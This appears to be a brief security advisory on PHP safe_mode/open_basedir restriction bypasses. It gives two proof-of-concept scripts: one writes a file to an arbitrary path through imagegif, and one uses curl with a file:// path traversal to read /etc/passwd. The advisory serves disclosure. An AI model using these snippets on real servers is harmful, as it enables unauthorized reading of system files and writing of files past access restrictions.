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PHP Safedir Restriction Bypass Vulnerabilities

No exploit is required.

The following proof of concepts are available:
<?php
$im = imagecreatefromgif("file.gif");
imagegif($im, '/var/www/f34r.fr/c/f/elbossoso/.i.need.money.php');
?>

<?php

mkdir("./".$_SERVER["SCRIPT_NAME"]."?");
$ch = curl_init("file://".$_SERVER["SCRIPT_FILENAME"]."?/../../../../../../../../../../../etc/passwd ");

$file=curl_exec($ch);

echo $file;

?>